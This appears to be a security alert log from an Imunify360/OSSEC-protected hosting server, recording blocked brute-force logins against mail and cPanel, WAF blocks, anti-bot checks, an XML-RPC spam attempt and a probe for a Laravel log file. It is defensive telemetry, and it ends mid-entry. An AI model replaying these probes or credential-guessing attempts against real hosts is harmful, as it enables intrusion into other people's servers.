27.34.68.55 - - [02/Jul/2026:00:22:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10329240&pdata=https%253A%252F%252Fcfpj.tg%252Fnadu-151936gitems%252Fetidm20sn.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782951749 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/nadu-151936gitems/etidm20sn.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.34.68.55


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.121.76.190
country_id: 732800
description:
Jul  2 00:24:40 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.121.76.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.121.76.190
country_id: 732800
description:
2026-07-02 00:24:42 dovecot_plain authenticator failed for H=(dikel) [87.121.76.190]:45552: 535 Incorrect authentication data (set_id=admin@tps.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 188.130.184.167
country_id: 2017370
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-26.188.130.184.167||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 192.101.67.48
country_id: 6252001
description:
192.101.67.48 - - [02/Jul/2026:00:28:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988246&pdata=https%3A%2F%2Fwww.tchambainvest.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782952079 HTTP/1.1" 302 0 www.tchambainvest.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:192.101.67.48


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.129.92.28
country_id: 3508796
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/otr-plus-de-737-milliards-fcfa-mobilises-a-fin-aout-2025/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.134.3.29
country_id: 241170
description:
[2026-07-02 00:28:00 +0000] info [cpaneld] 31.134.3.29 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.129.92.28
country_id: 3508796
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/otr-plus-de-737-milliards-fcfa-mobilises-a-fin-aout-2025/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.134.3.29
country_id: 241170
description:
31.134.3.29 - - [02/Jul/2026:00:27:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7378281&pdata=https%3A%2F%2Fwww.tchambainvest.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782952078 HTTP/1.1" 302 0 www.tchambainvest.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.134.3.29


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 77.83.26.227
country_id: 6252001
description:
77.83.26.227 - - [02/Jul/2026:00:27:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066534&pdata=https%3A%2F%2Fwww.tchambainvest.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782952078 HTTP/1.1" 302 0 www.tchambainvest.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:77.83.26.227


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.80.107.143
country_id: 294640
description:
45.80.107.143 - - [02/Jul/2026:00:28:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790044&pdata=https%3A%2F%2Fwww.tchambainvest.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782952079 HTTP/1.1" 302 0 www.tchambainvest.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.80.107.143


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 193.163.89.95
country_id: 6252001
description:
193.163.89.95 - - [02/Jul/2026:00:28:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738137&pdata=https%3A%2F%2Fwww.tchambainvest.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782952081 HTTP/1.1" 404 561 www.tchambainvest.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:193.163.89.95


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 191.188.66.72
country_id: 3469034
description:
191.188.66.72 - - [02/Jul/2026:00:27:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7063451&pdata=https%253A%252F%252Fcfpj.tg%252Fkeoo-60511xetidm35j.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782952040 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/keoo-60511xetidm35j.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:191.188.66.72


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 77.243.90.82
country_id: 241170
description:
77.243.90.82 - - [02/Jul/2026:00:27:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803156&pdata=https%3A%2F%2Fwww.tchambainvest.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782952079 HTTP/1.1" 404 561 www.tchambainvest.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:77.243.90.82


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.134.2.101
country_id: 241170
description:
[2026-07-02 00:28:00 +0000] info [cpaneld] 31.134.2.101 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.134.2.101
country_id: 241170
description:
31.134.2.101 - - [02/Jul/2026:00:27:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12883097&pdata=https%3A%2F%2Fwww.tchambainvest.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782952078 HTTP/1.1" 302 0 www.tchambainvest.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.134.2.101


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.83.26.227
country_id: 6252001
description:
[2026-07-02 00:28:01 +0000] info [cpaneld] 77.83.26.227 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.101.67.48
country_id: 6252001
description:
[2026-07-02 00:28:02 +0000] info [cpaneld] 192.101.67.48 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.80.107.143
country_id: 294640
description:
[2026-07-02 00:28:03 +0000] info [cpaneld] 45.80.107.143 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.101.65.209
country_id: 6252001
description:
[2026-07-02 00:28:02 +0000] info [cpaneld] 192.101.65.209 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.173.118
country_id: 1880251
description:
43.173.173.118 - - [02/Jul/2026:00:28:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9594738&pdata=https%253A%252F%252Fvitrinenews.tg%252F%253Fp%253D4116&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782952117 HTTP/1.1" 404 561 vitrinenews.tg "https://vitrinenews.tg/?p=4116" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.173.118


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-02 00:29:38 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:34144: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.138.3
country_id: 99237
description:
Jul  2 00:30:34 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.138.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.34.211.131
country_id: 298795
description:
Jul  2 00:32:49 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.34.211.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.34.29
country_id: 953987
description:
Jul  2 00:33:08 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.34.29 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.34.211.131
country_id: 298795
description:
Jul  2 00:33:02 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.34.211.131 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.141.119.133
country_id: 6252001
description:
[2026-07-02 00:35:01 +0000] info [cpaneld] 185.141.119.133 - aogodmm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-02 00:36:46 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:49262: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.186.15.34
country_id: 3508796
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/bassar-les-cadres-unir-investissent-dans-leducation-et-la-securite/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.186.15.34
country_id: 3508796
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/bassar-les-cadres-unir-investissent-dans-leducation-et-la-securite/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.214.150.179
country_id: 6252001
description:
[2026-07-02 00:41:02 +0000] info [whostmgrd] 181.214.150.179 - netmastersarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 36.132.239.8
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/sante/page/1301609960 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.234.102.106
country_id: 6252001
description:
[2026-07-02 00:41:56 +0000] info [whostmgrd] 23.234.102.106 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.234.102.106
country_id: 6252001
description:
[2026-07-02 00:44:01 +0000] info [whostmgrd] 23.234.102.106 - anadebfreenetmas "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 153.67.129.156
country_id: 933860
domain: confortis.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:26174.confortis.tg||ServerName:confortis.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:26697145577f169ce106fb2bc0966fc73f2c7061||Title:0x05223e36||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.160.24.198
country_id: 6252001
description:
[2026-07-02 00:46:56 +0000] info [cpaneld] 23.160.24.198 - test "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user test (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.134.72.170
country_id: 1880251
description:
43.134.72.170 - - [02/Jul/2026:00:46:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10067044&pdata=https%253A%252F%252Fmacite.tg%252F2026%252F05%252F19%252Fzlecaf-integration-africaine-le-togo-exempte-de-visa-tous-les-ressortissants-du-continent%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782953202 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2026/05/19/zlecaf-integration-africaine-le-togo-exempte-de-visa-tous-les-ressortissants-du-continent/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.134.72.170


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 00:47:26 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 00:47:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:6502: 535 Incorrect authentication data (set_id=mock@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 00:47:28 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 00:47:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:34654: 535 Incorrect authentication data (set_id=eschwege@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 00:47:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:6608: 535 Incorrect authentication data (set_id=buy@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 00:47:44 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 00:47:33 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 00:47:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:42360: 535 Incorrect authentication data (set_id=test.test@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 00:48:02 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 00:48:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:18460: 535 Incorrect authentication data (set_id=ann@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 00:48:31 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 00:48:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:51394: 535 Incorrect authentication data (set_id=buy@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 00:48:14 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 00:48:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:11132: 535 Incorrect authentication data (set_id=dialog@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 00:48:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:10818: 535 Incorrect authentication data (set_id=blazin'18@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 00:49:02 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 00:49:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:52076: 535 Incorrect authentication data (set_id=159159159@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 00:49:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:24102: 535 Incorrect authentication data (set_id=adress@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 00:49:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:51504: 535 Incorrect authentication data (set_id=dzb@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 00:49:20 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 00:49:08 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 00:49:14 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 00:49:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:59072: 535 Incorrect authentication data (set_id=bahram@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 00:50:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:27892: 535 Incorrect authentication data (set_id=nina@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 00:50:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:41236: 535 Incorrect authentication data (set_id=nlopez@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 00:50:05 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 00:50:13 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 00:50:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:35062: 535 Incorrect authentication data (set_id=judith@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 00:50:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:37672: 535 Incorrect authentication data (set_id=lz@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 00:50:13 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 00:50:36 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 00:50:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:53230: 535 Incorrect authentication data (set_id=andrewh@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 00:51:02 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 00:51:02 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 00:51:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:29564: 535 Incorrect authentication data (set_id=smtptest@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 00:51:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:64762: 535 Incorrect authentication data (set_id=jm@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 00:51:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:11104: 535 Incorrect authentication data (set_id=z1x2c3v4@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 00:51:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:45780: 535 Incorrect authentication data (set_id=deyang@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 00:51:25 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 00:51:10 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.211.187
country_id: 3017382
domain: haplucia-togo.tg
description:
IM360 WAF: Bad file extension||RSV:8.22||T:APACHE||MVN:REQUEST_FILENAME||MV:/storage/logs/laravel.log||User:phoicdxb||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 00:52:38 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 00:52:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:27496: 535 Incorrect authentication data (set_id=m@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 00:52:10 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 00:52:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:23716: 535 Incorrect authentication data (set_id=bester@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 00:52:10 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 00:52:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:22170: 535 Incorrect authentication data (set_id=dart@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 00:52:32 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 00:52:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:62654: 535 Incorrect authentication data (set_id=tak@ns5.netmaster.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.28.211.187
country_id: 3017382
domain: haplucia-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:104.28.211.187||TA:104.28.211.187||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.227.162.166
country_id: 6252001
description:
[2026-07-02 00:53:49 +0000] info [cpaneld] 136.227.162.166 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.171.44.233
country_id: 1527747
description:
